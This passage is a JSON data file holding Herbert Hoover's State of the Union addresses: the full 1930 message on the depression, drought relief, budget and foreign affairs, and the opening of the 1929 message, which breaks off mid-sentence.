+    "speech": "To the Senate and House of Representatives:I have the honor to comply with the requirement of the Constitution that I\nshould lay before the Congress information as to the state of the Union,\nand recommend consideration of such measures as are necessary and\nexpedient.Substantial progress has been made during the year in national peace and\nsecurity; the fundamental strength of the Nation's economic life is\nunimpaired; education and scientific discovery have made advances; our\ncountry is more alive to its problems of moral and spiritual welfare.ECONOMIC SITUATIONDuring the past 12 months we have suffered with other Nations from economic\ndepression.The origins of this depression lie to some extent within our own borders\nthrough a speculative period which diverted capital and energy into\nspeculation rather than constructive enterprise. Had overspeculation in\nsecurities been the only force operating, we should have seen recovery many\nmonths ago, as these particular dislocations have generally readjusted\nthemselves.Other deep-seated causes have been in action, however, chiefly the\nworld-wide overproduction beyond even the demand of prosperous times for\nsuch important basic commodities as wheat, rubber, coffee, sugar, copper,\nsilver, zinc, to some extent cotton, and other raw materials. The\ncumulative effects of demoralizing price falls of these important\ncommodities in the process of adjustment of production to world consumption\nhave produced financial crises in many countries and have diminished the\nbuying power of these countries for imported goods to a degree which\nextended the difficulties farther afield by creating unemployment in all\nthe industrial nations. The political agitation in Asia; revolutions in\nSouth America and political unrest in some European States; the methods of\nsale by Russia of her increasing agricultural exports to European markets;\nand our own drought--have all contributed to prolong and deepen the\ndepression.In the larger view the major forces of the depression now lie outside of\nthe United States, and our recuperation has been retarded by the\nunwarranted degree of fear and apprehension created by these outside\nforces.The extent of the depression is indicated by the following approximate\npercentages of activity during the past three months as compared with the\nhighly prosperous year of 1928:Value of department-store sales - 93% of 1928Volume of manufacturing production - 80% of 1928Volume of mineral production - 90% of 1928Volume of factory employment - 84% of 1928Total of bank deposits - 105% of 1928Wholesale prices--all commodities - 83% of 1928Cost of living - 94% of 1928Various other indexes indicate total decrease of activity from 1928 of from\n15 to 20 per cent.There are many factors which give encouragement for the future. The fact\nthat we are holding from 80 to 85 per cent of our normal activities and\nincomes; that our major financial and industrial institutions have come\nthrough the storm unimpaired; that price levels of major commodities have\nremained approximately stable for some time; that a number of industries\nare showing signs of increasing demand; that the world at large is\nreadjusting itself to the situation; all reflect grounds for confidence. We\nshould remember that these occasions have been met many times before, that\nthey are but temporary, that our country is to-day stronger and richer in\nresources, in equipment, in skill, than ever in its history. We are in an\nextraordinary degree self-sustaining, we will overcome world influences and\nwill lead the march of prosperity as we have always done hitherto.Economic depression can not be cured by legislative action or executive\npronouncement. Economic wounds must be healed by the action of the cells of\nthe economic body--the producers and consumers themselves. Recovery can be\nexpedited and its effects mitigated by cooperative action. That cooperation\nrequires that every individual should sustain faith and courage; that each\nshould maintain his self-reliance; that each and every one should search\nfor methods of improving his business or service; that the vast majority\nwhose income is unimpaired should not hoard out of fear but should pursue\ntheir normal living and recreations; that each should seek to assist his\nneighbors who may be less fortunate; that each industry should assist its\nown employees; that each community and each State should assume its full\nresponsibilities for organization of employment and relief of distress with\nthat sturdiness and independence which built a great Nation.Our people are responding to these impulses in remarkable degree. The best\ncontribution of government lies in encouragement of this voluntary\ncooperation in the community. The Government, National, State, and local,\ncan join with the community in such programs and do its part. A year ago I,\ntogether with other officers of the Government, initiated extensive\ncooperative measures throughout the country.The first of these measures was an agreement of leading employers to\nmaintain the standards of wages and of labor leaders to use their influence\nagainst strife. In a large sense these undertakings have been adhered to\nand we have not witnessed the usual reductions of wages which have always\nheretofore marked depressions. The index of union wage scales shows them to\nbe today fully up to the level of any of the previous three years. In\nconsequence the buying power of the country has been much larger than would\notherwise have been the case. Of equal importance the Nation has had\nunusual peace in industry and freedom from the public disorder which has\ncharacterized previous depressions.The second direction of cooperation has been that our governments,\nNational, State, and local, the industries and business so distribute\nemployment as to give work to the maximum number of employees.The third direction of cooperation has been to maintain and even extend\nconstruction work and betterments in anticipation of the future. It has\nbeen the universal experience in previous depressions that public works and\nprivate construction have fallen off rapidly with the general tide of\ndepression. On this occasion, however, the increased authorization and\ngenerous appropriations by the Congress and the action of States and\nmunicipalities have resulted in the expansion of public construction to an\namount even above that in the most prosperous years. In addition the\ncooperation of public utilities, railways, and other large organizations\nhas been generously given in construction and betterment work in\nanticipation of future need. The Department of Commerce advises me that as\na result, the volume of this type of construction work, which amounted to\nroughly $6,300,000,000 in 1929, instead of decreasing will show a total of\nabout $7,000,000,000 for 1930. There has, of course, been a substantial\ndecrease in the types of construction which could not be undertaken in\nadvance of need.The fourth direction of cooperation was the organization in such States and\nmunicipalities, as was deemed necessary, of committees to organize local\nemployment, to provide for employment agencies, and to effect relief of\ndistress.The result of magnificent cooperation throughout the country has been that\nactual suffering has been kept to a minimum during the past 12 months, and\nour unemployment has been far less in proportion than in other large\nindustrial countries. Some time ago it became evident that unemployment\nwould continue over the winter and would necessarily be added to from\nseasonal causes and that the savings of workpeople would be more largely\ndepleted. We have as a Nation a definite duty to see that no deserving\nperson in our country suffers from hunger or cold. I therefore set up a\nmore extensive organization to stimulate more intensive cooperation\nthroughout the country. There has been a most gratifying degree of\nresponse, from governors, mayors, and other public officials, from welfare\norganizations, and from employers in concerns both large and small. The\nlocal communities through their voluntary agencies have assumed the duty of\nrelieving individual distress and are being generously supported by the\npublic.The number of those wholly out of employment seeking for work was\naccurately determined by the census last April as about 2,500,000. The\nDepartment of Labor index of employment in the larger trades shows some\ndecrease in employment since that time. The problem from a relief point of\nview is somewhat less than the published estimates of the number of\nunemployed would indicate. The intensive community and individual efforts\nin providing special employment outside the listed industries are not\nreflected in the statistical indexes and tend to reduce such published\nfigures. Moreover, there is estimated to be a constant figure at all times\nof nearly 1,000,000 unemployed who are not without annual income but\ntemporarily idle in the shift from one job to another. We have an average\nof about three breadwinners to each two families, so that every person\nunemployed does not represent a family without income. The view that the\nrelief problems are less than the gross numbers would indicate is confirmed\nby the experience of several cities, which shows that the number of\nfamilies in distress represents from 10 to 20 per cent of the number of the\ncalculated unemployed. This is not said to minimize the very real problem\nwhich exists but to weigh its actual proportions.As a contribution to the situation the Federal Government is engaged upon\nthe greatest program of waterway, harbor, flood control, public building,\nhighway, and airway improvement in all our history. This, together with\nloans to merchant shipbuilders, improvement of the Navy and in military\naviation, and other construction work of the Government will exceed\n$520,000,000 for this fiscal year. This compares with $253,000,000 in the\nfiscal year 1928. The construction works already authorized and the\ncontinuation of policies in Government aid will require a continual\nexpenditure upwards of half a billion dollars annually.I favor still further temporary expansion of these activities in aid to\nunemployment during this winter. The Congress will, however, have presented\nto it numbers of projects, some of them under the guise of, rather than the\nreality of, their usefulness in the increase of employment during the\ndepression. There are certain commonsense limitations upon any expansions\nof construction work. The Government must not undertake works that are not\nof sound economic purpose and that have not been subject to searching\ntechnical investigation, and which have not been given adequate\nconsideration by the Congress. The volume of construction work in the\nGovernment is already at the maximum limit warranted by financial prudence\nas a continuing policy. To increase taxation for purposes of construction\nwork defeats its own purpose, as such taxes directly diminish employment in\nprivate industry. Again any kind of construction requires, after its\nauthorization, a considerable time before labor can be employed in which to\nmake engineering, architectural, and legal preparations. Our immediate\nproblem is the increase of employment for the next six months, and new\nplans which do not produce such immediate result or which extend\ncommitments beyond this period are not warranted.The enlarged rivers and harbors, public building, and highway plans\nauthorized by the Congress last session, however, offer an opportunity for\nassistance by the temporary acceleration of construction of these programs\neven faster than originally planned, especially if the technical\nrequirements of the laws which entail great delays could be amended in such\nfashion as to speed up acquirements of land and the letting of contracts.With view, however, to the possible need for acceleration, we, immediately\nupon receiving those authorities from the Congress five months ago, began\nthe necessary technical work in preparation for such possible eventuality.\nI have canvassed the departments of the Government as to the maximum amount\nthat can be properly added to our present expenditure to accelerate all\nconstruction during the next six months, and I feel warranted in asking the\nCongress for an appropriation of from $100,000,000 to $150,000,000 to\nprovide such further employment in this emergency. In connection therewith\nwe need some authority to make enlarged temporary advances of\nFederal-highway aid to the States.I recommend that this appropriation be made distributable to the different\ndepartments upon recommendation of a committee of the Cabinet and approval\nby the President. Its application to works already authorized by the\nCongress assures its use in directions of economic importance and to public\nwelfare. Such action will imply an expenditure upon construction of all\nkinds of over $650,000,000 during the next twelve months.AGRICULTUREThe world-wide depression has affected agriculture in common with all other\nindustries. The average price of farm produce has fallen to about 80 per\ncent of the levels of 1928. This average is, however, greatly affected by\nwheat and cotton, which have participated in world-wide overproduction and\nhave fallen to about 60 per cent of the average price of the year 1928.\nExcluding these commodities, the prices of all other agricultural products\nare about 84 per cent of those of 1928. The average wholesale prices of\nother primary goods, such as nonferrous metals, have fallen to 76 per cent\nof 1928.The price levels of our major agricultural commodities are, in fact, higher\nthan those in other principal producing countries, due to the combined\nresult of the tariff and the operations of the Farm Board. For instance,\nwheat prices at Minneapolis are about 30 per cent higher than at Winnipeg,\nand at Chicago they are about 20 per cent higher than at Buenos Aires. Corn\nprices at Chicago are over twice as high as at Buenos Aires. Wool prices\naverage more than 80 per cent higher in this country than abroad, and\nbutter is 30 per cent higher in New York City than in Copenhagen.Aside from the misfortune to agriculture of the world-wide depression we\nhave had the most severe drought. It has affected particularly the States\nbordering on the Potomac, Ohio, and Lower Mississippi Rivers, with some\nareas in Montana, Kansas, Oklahoma, and Texas. It has found its major\nexpression in the shortage of pasturage and a shrinkage in the corn crop\nfrom an average of about 2,800,000,000 bushels to about 2,090,000,000\nbushels.On August 14 I called a conference of the governors of the most acutely\naffected States, and as a result of its conclusions I appointed a national\ncommittee comprising the heads of the important Federal agencies under the\nchairmanship of the Secretary of Agriculture. The governors in turn have\nappointed State committees representative of the farmers, bankers, business\nmen, and the Red Cross, and subsidiary committees have been established in\nmost of the acutely affected counties. Railway rates were reduced on feed\nand livestock in and out of the drought areas, and over 50,000 cars of such\nproducts have been transported under these reduced rates. The Red Cross\nestablished a preliminary fund of $5,000,000 for distress relief purposes\nand established agencies for its administration in each county. Of this\nfund less than $500,000 has been called for up to this time as the need\nwill appear more largely during the winter. The Federal Farm Loan Board has\nextended its credit facilities, and the Federal Farm Board has given\nfinancial assistance to all affected cooperatives.In order that the Government may meet its full obligation toward our\ncountrymen in distress through no fault of their own, I recommend that an\nappropriation should be made to the Department of Agriculture to be loaned\nfor the purpose of seed and feed for animals. Its application should as\nhitherto in such loans be limited to a gross amount to any one individual,\nand secured upon the crop.The Red Cross can relieve the cases of individual distress by the\nsympathetic assistance of our people.FINANCES OF THE GOVERNMENTI shall submit the detailed financial position of the Government with\nrecommendations in the usual Budget message. I will at this time, however,\nmention that the Budget estimates of receipts and expenditures for the\ncurrent year were formulated by the Treasury and the Budget Bureau at a\ntime when it was impossible to forecast the severity of the business\ndepression and have been most seriously affected by it. At that time a\nsurplus of about $123,000,000 was estimated for this fiscal year and tax\nreduction which affected the fiscal year to the extent of $75,000,000 was\nauthorized by the Congress, thus reducing the estimated surplus to about\n$48,000,000. Closely revised estimates now made by the Treasury and the\nBureau of the Budget of the tax, postal, and other receipts for the current\nfiscal year indicate a decrease of about $430,000,000 from the estimate of\na year ago, of which about $75,000,000 is due to tax reduction, leaving\nabout $355,000,000 due to the depression. Moreover, legislation enacted by\nCongress subsequent to the submission of the Budget enlarging Federal\nconstruction work to expand employment and for increase in veterans'\nservices and other items, have increased expenditures during the current\nfiscal year by about $225,000,000.Thus the decrease of $430,000,000 in revenue and the increase of\n$225,000,000 in expenditure adversely change the original Budget situation\nby about $655,000,000. This large sum is offset by the original estimated\nsurplus a year ago of about $123,000,000, by the application of\n$185,000,000 of interest payments upon the foreign debt to current\nexpenditures, by arrangements of the Farm Board through repayments, etc.,\nin consequence of which they reduced their net cash demands upon the\nTreasury by $100,000,000 in this period, and by about $67,000,000 economies\nand deferments brought about in the Government, thus reducing the practical\neffect of the change in the situation to an estimated deficit of about\n$180,000,000 for the present fiscal year. I shall make suggestions for\nhandling the present-year deficit in the Budget message, but I do not favor\nencroachment upon the statutory reduction of the public debt.While it will be necessary in public interest to further increase\nexpenditures during the current fiscal year in aid to unemployment by\nspeeding up construction work and aid to the farmers affected by the\ndrought, I can not emphasize too strongly the absolute necessity to defer\nany other plans for increase of Government expenditures. The Budget for\n1932 fiscal year indicates estimated expenditure of about $4,054,000,000,\nincluding postal deficit. The receipts are estimated at about\n$4,085,000,000 if the temporary tax reduction of last year be discontinued,\nleaving a surplus of only about $30,000,000. Most rigid economy is\ntherefore necessary to avoid increase in taxes.NATIONAL DEFENSEOur Army and Navy are being maintained at a high state of efficiency, under\nofficers of high training and intelligence, supported by a devoted\npersonnel of the rank and file. The London naval treaty has brought\nimportant economies in the conduct of the Navy. The Navy Department will\nlay before the committees of the Congress recommendations for a program of\nauthorization of new construction which should be initiated in the fiscal\nyear of 1932.LEGISLATIONThis is the last session of the Seventy-first Congress. During its previous\nsittings it has completed a very large amount of important legislation,\nnotably: The establishment of the Federal Farm Board; fixing congressional\nreapportionment; revision of the tariff, including the flexible provisions\nand a reorganization of the Tariff Commission; reorganization of the Radio\nCommission; reorganization of the Federal Power Commission; expansion of\nFederal prisons; reorganization of parole and probation system in Federal\nprisons; expansion of veterans' hospitals; establishment of disability\nallowances to veterans; consolidation of veteran activities; consolidation\nand strengthening of prohibition enforcement activities in the Department\nof Justice; organization of a Narcotics Bureau; large expansion of rivers\nand harbors improvements; substantial increase in Federal highways;\nenlargement of public buildings construction program; and the ratification\nof the London naval treaty.The Congress has before it legislation partially completed in the last\nsitting in respect to Muscle Shoals, bus regulation, relief of congestion\nin the courts, reorganization of border patrol in prevention of smuggling,\nlaw enforcement in the District of Columbia, and other subjects.It is desirable that these measures should be completed.The short session does not permit of extensive legislative programs, but\nthere are a number of questions which, if time does not permit action, I\nrecommend should be placed in consideration by the Congress, perhaps\nthrough committees cooperating in some instances with the Federal\ndepartments, with view to preparation for subsequent action. Among them are\nthe following subjects:ELECTRICAL POWERI have in a previous message recommended effective regulation of interstate\nelectrical power. Such regulation should preserve the independence and\nresponsibility of the States.RAILWAYSWe have determined upon a national policy of consolidation of the railways\nas a necessity of more stable and more economically operated\ntransportation. Further legislation is necessary to facilitate such\nconsolidation. In the public interest we should strengthen the railways\nthat they may meet our future needs.ANTITRUST LAWSI recommend that the Congress institute an inquiry into some aspects of the\neconomic working of these laws. I do not favor repeal of the Sherman Act.\nThe prevention of monopolies is of most vital public importance.\nCompetition is not only the basis of protection to the consumer but is the\nincentive to progress. However, the interpretation of these laws by the\ncourts, the changes in business, especially in the economic effects upon\nthose enterprises closely related to the use of the natural resources of\nthe country, make such an inquiry advisable. The producers of these\nmaterials assert that certain unfortunate results of wasteful and\ndestructive use of these natural resources together with a destructive\ncompetition which impoverishes both operator and worker can not be remedied\nbecause of the prohibitive interpretation of the antitrust laws. The\nwell-known condition of the bituminous coal industry is an illustration.\nThe people have a vital interest in the conservation of their natural\nresources; in the prevention of wasteful practices; in conditions of\ndestructive competition which may impoverish the producer and the wage\nearner; and they have an equal interest in maintaining adequate\ncompetition. I therefore suggest that an inquiry be directed especially to\nthe effect of the workings of the antitrust laws in these particular fields\nto determine if these evils can be remedied without sacrifice of the\nfundamental purpose of these laws.CAPITAL-GAINS TAXIt is urged by many thoughtful citizens that the peculiar economic effect\nof the income tax on so-called capital gains at the present rate is to\nenhance speculative inflation and likewise impede business recovery. I\nbelieve this to be the case and I recommend that a study be made of the\neconomic effects of this tax and of its relation to the general structure\nof our income tax law.IMMIGRATIONThere is need for revision of our immigration laws upon a more limited and\nmore selective basis, flexible to the needs of the country.Under conditions of current unemployment it is obvious that persons coming\nto the United States seeking work would likely become either a direct or\nindirect public charge. As a temporary measure the officers issuing visas\nto immigrants have been, in pursuance of the law, instructed to refuse\nvisas to applicants likely to fall into this class. As a result the visas\nissued have decreased from an average of about 24,000 per month prior to\nrestrictions to a rate of about 7,000 during the last month. These are\nlargely preferred persons under the law. Visas from Mexico are about 250\nper month compared to about 4,000 previous to restrictions. The whole\nsubject requires exhaustive reconsideration.DEPORTATION OF ALIEN CRIMINALSI urge the strengthening of our deportation laws so as to more fully rid\nourselves of criminal aliens. Furthermore, thousands of persons have\nentered the country in violation of the immigration laws. The very method\nof their entry indicates their objectionable character, and our law-abiding\nforeign-born residents suffer in consequence. I recommend that the Congress\nprovide methods of strengthening the Government to correct this abuse.POST OFFICEDue to deferment of Government building over many years, previous\nadministrations had been compelled to enter upon types of leases for\nsecondary facilities in large cities, some of which were objectionable as\nrepresenting too high a return upon the value of the property. To prevent\nthe occasion for further uneconomic leasing I recommend that the Congress\nauthorize the building by the Government of its own facilities.VETERANSThe Nation has generously expanded its care for veterans. The consolidation\nof all veterans' activities into the Veterans' Administration has produced\nsubstantial administrative economies. The consolidation also brings\nemphasis to the inequalities in service and allowances. The whole subject\nis under study by the administrator, and I recommend it should also be\nexamined by the committees of the Congress.SOCIAL SERVICEI urge further consideration by the Congress of the recommendations I made\na year ago looking to the development through temporary Federal aid of\nadequate State and local services for the health of children and the\nfurther stamping out of communicable disease, particularly in the rural\nsections. The advance of scientific discovery, methods, and social thought\nimposes a new vision in these matters. The drain upon the Federal Treasury\nis comparatively small. The results both economic and moral are of the\nutmost importance.GENERALIt is my belief that after the passing of this depression, when we can\nexamine it in retrospect, we shall need to consider a number of other\nquestions as to what action may be taken by the Government to remove\nPossible governmental influences which make for instability and to better\norganize mitigation of the effect of depression. It is as yet too soon to\nconstructively formulate such measures.There are many administrative subjects, such as departmental\nreorganization, extension of the civil service, readjustment of the postal\nrates, etc., which at some appropriate time require the attention of the\nCongress.FOREIGN RELATIONSOur relations with foreign countries have been maintained upon a high basis\nof cordiality and good will.During the past year the London naval pact was completed, approved by the\nSenate, and ratified by the governments concerned. By this treaty we have\nabolished competition in the building of warships, have established the\nbasis of parity of the United States with the strongest of foreign powers,\nand have accomplished a substantial reduction in war vessels.During the year there has been an extended political unrest in the world.\nAsia continues in disturbed condition, and revolutions have taken place in\nBrazil, Argentina, Peru, and Bolivia. Despite the jeopardy to our citizens\nand their property which naturally arises in such circumstances, we have,\nwith the cooperation of the governments concerned, been able to meet all\nsuch instances without friction.We have resumed normal relations with the new Governments of Brazil,\nArgentina, Peru, and Bolivia immediately upon evidence that they were able\nto give protection to our citizens and their property, and that they\nrecognized their international obligations.A commission which was supported by the Congress has completed its\ninvestigation and reported upon our future policies in respect to Haiti and\nproved of high value in securing the acceptance of these policies. An\nelection has been held and a new government established. We have replaced\nour high commissioner by a minister and have begun the gradual withdrawal\nof our activities with view to complete retirement at the expiration of the\npresent treaty in 1935.A number of arbitration and conciliation treaties have been completed or\nnegotiated during the year, and will be presented for approval by the\nSenate.I shall, in a special message, lay before the Senate the protocols covering\nthe statutes of the World Court which have been revised to accord with the\nsense of previous Senate reservations.The White House,December 2, 1930", 
+    "name": "Herbert Hoover"
+}
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+{
+    "date": "December 3, 1929", 
+    "speech": "To the Senate and House of Representatives:The Constitution requires that the President \"shall, from time to time,\ngive to the Congress information of the state of the Union, and recommend\nto their consideration such measures as he shall judge necessary and\nexpedient.\" In complying with that requirement I wish to emphasize that\nduring the past year the Nation has continued to grow in strength; our\npeople have advanced in comfort; we have gained in knowledge; the education\nof youth has been more widely spread; moral and spiritual forces have been\nmaintained; peace has become more assured. The problems with which we are\nconfronted are the problems of growth and of progress. In their solution we\nhave to determine the facts, to develop the relative importance to be\nassigned to such facts, to formulate a common judgment upon them, and to\nrealize solutions in spirit of conciliation.FOREIGN RELATIONSWe are not only at peace with all the world, but the foundations for future\npeace are being substantially strengthened. To promote peace is our\nlong-established policy. Through the Kellogg-Briand pact a great moral\nstandard has been raised in the world. By it fifty-four nations have\ncovenanted to renounce war and to settle all disputes by pacific means.\nThrough it a new world outlook has been inaugurated which has profoundly\naffected the foreign policies of nations. Since its inauguration we have\ninitiated new efforts not only in the organization of the machinery of\npeace but also to eliminate dangerous forces which produce controversies\namongst nations.In January, 1926, the Senate gave its consent to adherence to the Court of\nInternational Justice with certain reservations. In September of this year\nthe statute establishing the court has, by the action of the nations\nsignatory, been amended to meet the Senate's reservations and to go even\nbeyond those reservations to make clear that the court is a true\ninternational court of justice. I believe it will be clear to everyone that\nno controversy or question in which this country has or claims an interest\ncan be passed on by the court without our consent at the time the question\narises. The doubt about advisory opinions has been completely safeguarded.\nOur adherence to the International Court is, as now constituted, not the\nslightest step toward entry into the League of Nations. As I have before\nindicated, I shall direct that our signature be affixed to the protocol of\nadherence and shall submit it for the approval of the Senate with a special\nmessage at some time when it is convenient to deal with it.In the hope of reducing friction in the world, and with the desire that we\nmay reduce the great economic burdens of naval armament, we have joined in\nconference with Great Britain, France, Italy, and Japan to be held in\nLondon in January to consider the further limitation and reduction of naval\narms. We hold high hopes that success may attend this effort.At the beginning of the present administration the neighboring State of\nMexico was best with domestic insurrection. We maintained the embargo upon\nthe shipment of arms to Mexico but permitted the duly constituted\nGovernment to procure supplies from our surplus war stocks. Fortunately,\nthe Mexican Government by its own strength successfully withstood the\ninsurrection with but slight damage. Opportunity of further peaceful\ndevelopment is given to that country. At the request of the Mexican\nGovernment, we have since lifted the embargo on shipment of arms\naltogether. The two governments have taken further steps to promote\nfriendly relationships and so solve our differences. Conventions prolonging\nfor a period of two years the life of the general and special claims\ncommissions have been concluded.In South America we are proud to have had part in the settlement of the\nlong-standing dispute between Chile and Peru in the disposal of the\nquestion of Tacna-Arica.The work of the commission of inquiry and conciliation between Bolivia and\nParaguay, in which a representative of this Government participated, has\nsuccessfully terminated an incident which seemed to threaten war. The\nproposed plan for final settlement as suggested by the neutral governments\nis still under consideration.This Government has continued its efforts to act as a mediator in boundary\ndifficulties between Guatemala and Honduras.A further instance of profound importance in establishing good will was the\ninauguration of regular air mail service between the United States and\nCaribbean, Central American, and South American countries.We still have marines on foreign soil--in Nicaragua, Haiti, and China. In\nthe large sense we do not wish to be represented abroad in such manner.\nAbout 1,600 marines remain in Nicaragua at the urgent request of that\ngovernment and the leaders of all parties pending the training of a\ndomestic constabulary capable of insuring tranquility. We have already\nreduced these forces materially and we are anxious to withdraw them further\nas the situation warrants. In Haiti we have about 700 marines, but it is a\nmuch more difficult problem, the solution of which is still obscure. If\nCongress approves, I shall dispatch a commission to Haiti to review and\nstudy the matter in an endeavor to arrive at some more definite policy than\nat present. Our forces in China constitute 2,605 men, which we hope also\nfurther to reduce to the normal legation guard.It is my desire to establish more firmly our understanding and\nrelationships with the Latin American countries by strengthening the\ndiplomatic missions to those countries. It is my hope to secure men long\nexperienced in our Diplomatic Service, who speak the languages of the\npeoples to whom they are accredited, as chiefs of our diplomatic missions\nin these States. I shall send to the Senate at an early date the\nnominations of several such men.The Congress has by numerous wise and foresighted acts in the past few\nyears greatly strengthened the character of our representation abroad. It\nhas made liberal provision for the establishment of suitable quarters for\nour foreign staffs in the different countries. In order, however, that we\nmay further develop the most effective force in this, one of the most\nresponsible functions of our Government, I shall recommend to the Congress\nmore liberal appropriations for the work of the State Department. I know of\nno expenditure of public money from which a greater economic and moral\nreturn can come to us than by assuring the most effective conduct of our\nforeign relations.NATIONAL DEFENSETo preserve internal order and freedom from encroachment is the first\npurpose of government. Our Army and Navy are being maintained in a most\nefficient state under officers of high intelligence and zeal. The extent\nand expansion of their numbers and equipment as at present authorized are\nample for this purpose.We can well be deeply concerned, however, at the growing expense. From a\ntotal expenditure for national defense purposes in 1914 of $267,000,000, it\nnaturally rose with the Great War, but receded again to $612,000,000 in\n1924, when again it began to rise until during the current fiscal year the\nexpenditures will reach to over $730,000,000, excluding all civilian\nservices of those departments. Programs now authorized will carry it to\nstill larger figures in future years. While the remuneration paid to our\nsoldiers and sailors is justly at a higher rate than that of any other\ncountry in the world, and while the cost of subsistence is higher, yet the\ntotal of our expenditures is in excess of those of the most highly\nmilitarized nations of the world.Upon the conference shortly to be held in London will depend such\nmoderation as we can make in naval expenditure. If we shall be compelled to\nundertake the naval construction implied in the Washington arms treaty as\nwell as other construction which would appear to be necessary if no\ninternational agreement can be completed, we shall be committed during the\nnext six years to a construction expenditure of upward of $1,200,000,000\nbesides the necessary further increase in costs for annual upkeep.After 1914 the various Army contingents necessarily expanded to the end of\nthe Great War and then receded to the low point in 1924, when expansion\nagain began. In 1914 the officers and men in our regular forces, both Army\nand Navy, were about 164,000, in 1924 there were about 256,000, and in 1929\nthere were about 250,000. Our citizens' army, however, including the\nNational Guard and other forms of reserves, increase these totals up to\nabout 299,000 in 1914, about 672,000 in 1924, and about 728,000 in 1929.Under the Kellogg pact we have undertaken never to use war as an instrument\nof national policy. We have, therefore, undertaken by covenant to use these\nequipments solely for defensive purposes. From a defense point of view our\nforces should be proportioned to national need and should, therefore, to\nsome extent be modified by the prospects of peace, which were never\nbrighter than to-day.It should be borne in mind that the improvement in the National Guard by\nFederal support begun in 1920 has definitely strengthened our national\nsecurity by rendering them far more effective than ever heretofore. The\nadvance of aviation has also greatly increased our effectiveness in\ndefense. In addition to the very large program of air forces which we are\nmaintaining in the Army and Navy, there has been an enormous growth of\ncommercial aviation. This has provided unanticipated reserves in\nmanufacturing capacity and in industrial and air personnel, which again\nadds to our security.I recommend that Congress give earnest consideration to the possibilities\nof prudent action which will give relief from our continuously mounting\nexpenditures.FINANCES OF THE GOVERNMENTThe finances of the Government are in sound condition. I shall submit the\ndetailed evidences and the usual recommendations in the special Budget\nmessage. I may, however, summarize our position. The public debt on June 30\nthis year stood at $16,931,000,000, compared to the maximum in August,\n1919, of $26,596,000,000. Since June 30 it has been reduced by a further\n$238,000,000. In the Budget to be submitted the total appropriations\nrecommended for the fiscal year 1931 are $3,830,445,231, as compared to\n$3,976,141,651 for the present fiscal year. The present fiscal year,\nhowever, includes $150,000,000 for the Federal Farm Board, as to which no\nestimate can as yet be determined for 1931.Owing to the many necessary burdens assumed by Congress in previous years\nwhich now require large outlays, it is with extreme difficulty that we\nshall be able to keep the expenditures for the next fiscal year within the\nbounds of the present year. Economies in many directions have permitted\nsome accommodation of pressing needs, the net result being an increase, as\nshown above, of about one-tenth of 1 per cent above the present fiscal\nyear. We can not fail to recognize the obligations of the Government in\nsupport of the public welfare but we must coincidentally bear in mind the\nburden of taxes and strive to find relief through some tax reduction. Every\ndollar so returned fertilizes the soil of prosperity.TAX REDUCTIONThe estimate submitted to me by the Secretary of the Treasury and the\nBudget Director indicates that the Government will close the fiscal year\n1930 with a surplus of about $225,000,000 and the fiscal year 1931 with a\nsurplus of about $123,000,000. Owing to unusual circumstances, it has been\nextremely difficult to estimate future revenues with accuracy.I believe, however, that the Congress will be fully justified in giving the\nbenefits of the prospective surpluses to the taxpayers, particularly as\nample provision for debt reduction has been made in both years through the\nform of debt retirement from ordinary revenues. In view of the uncertainty\nin respect of future revenues and the comparatively small size of the\nindicated surplus in 1931, relief should take the form of a provisional\nrevision of tax rates.I recommend that the normal income tax rates applicable to the incomes of\nindividuals for the calendar year 1929 be reduced from 5, 3, and 1 1/2;\nper cent, to 4, 2, and 1/2; per cent, and that the tax on the income of\ncorporations for the calendar year 1929 be reduced from 12 to 11 per cent.\nIt is estimated that this will result in a reduction of $160,000,000 in\nincome taxes to be collected during the calendar year 1930. The loss in\nrevenue will be divided approximately equally between the fiscal years 1930\nand 1931. Such a program will give a measure of tax relief to the maximum\nnumber of taxpayers, with relatively larger benefits to taxpayers with\nsmall or moderate incomes.FOREIGN DEBTSThe past year has brought us near to completion of settlements of the\nindebtedness of foreign governments to the United States.The act of Congress approved February 4, 1929, authorized the settlement\nwith the Government of Austria along lines similar to the terms of\nsettlement offered by that Government to its other relief creditors. No\nagreement has yet been concluded with that government, but the form of\nagreement has been settled and its execution only awaits the Government of\nAustria securing the assent by all the other relief creditors of the terms\noffered. The act of Congress approved February 14, 1929, authorized the\nsettlement with the Government of Greece, and an agreement was concluded on\nMay 10, 1929.The Government of France ratified the agreement with us on July 27, 1929.\nThis agreement will shortly be before the Congress and I recommend its\napproval.The only indebtedness of foreign governments to the United States now\nunsettled is that of Russia and Armenia.During the past year a committee of distinguished experts under American\nleadership submitted a plan looking to a revision of claims against Germany\nby the various Governments. The United States denied itself any\nparticipation in the war settlement of general reparations and our claims\nare comparatively small in amount. They arise from costs of the army of\noccupation and claims of our private citizens for losses under awards from\nthe Mixed Claims Commission established under agreement with the German\nGovernment. In finding a basis for settlement it was necessary for the\ncommittee of experts to request all the Governments concerned to make some\ncontribution to the adjustment and we have felt that we should share a\nproportion of the concessions made.The State and Treasury Departments will be in a position shortly to submit\nfor your consideration a draft of an agreement to be executed between the\nUnited States and Germany providing for the payments of these revised\namounts. A more extensive statement will be submitted at that time.The total amount of indebtedness of the various countries to the United\nStates now funded is $11,579,465,885. This sum was in effect provided by\nthe issue of United States Government bonds to our own people. The payments\nof the various Governments to us on account of principal and interest for\n1930 are estimated at a total of about $239,000,000, for 1931 at about\n$236,000,000, for 1932 at about $246,000,000. The measure of American\ncompromise in these settlements may be appreciated from the fact that our\ntaxpayers are called upon to find annually about $475,000,000 in interest\nand in addition to redeem the principal of sums borrowed by the United\nStates Government for these purposes.ALIEN ENEMY PROPERTYThe wise determination that this property seized in war should be returned\nto its owners has proceeded with considerable rapidity. Of the original\nseized cash and property (valued at a total of about $625,000,000), all but\n$111,566,700 has been returned. Most of the remainder should be disposed of\nduring the next year.GENERAL ECONOMIC SITUATIONThe country has enjoyed a large degree of prosperity and sound progress\nduring the past year with a steady improvement in methods of production and\ndistribution and consequent advancement in standards of living. Progress\nhas, of course, been unequal among industries, and some, such as coal,\nlumber, leather, and textiles, still lag behind. The long upward trend of\nfundamental progress, however, gave rise to over-optimism as to profits,\nwhich translated itself into a wave of uncontrolled speculation in\nsecurities, resulting in the diversion of capital from business to the\nstock market and the inevitable crash. The natural consequences have been a\nreduction in the consumption of luxuries and semi-necessities by those who\nhave met with losses, and a number of persons thrown temporarily out of\nemployment. Prices of agricultural products dealt in upon the great markets\nhave been affected in sympathy with the stock crash.Fortunately, the Federal reserve system had taken measures to strengthen\nthe position against the day when speculation would break, which together\nwith the strong position of the banks has carried the whole credit system\nthrough the crisis without impairment. The capital which has been hitherto\nabsorbed in stock-market loans for speculative purposes is now returning to\nthe 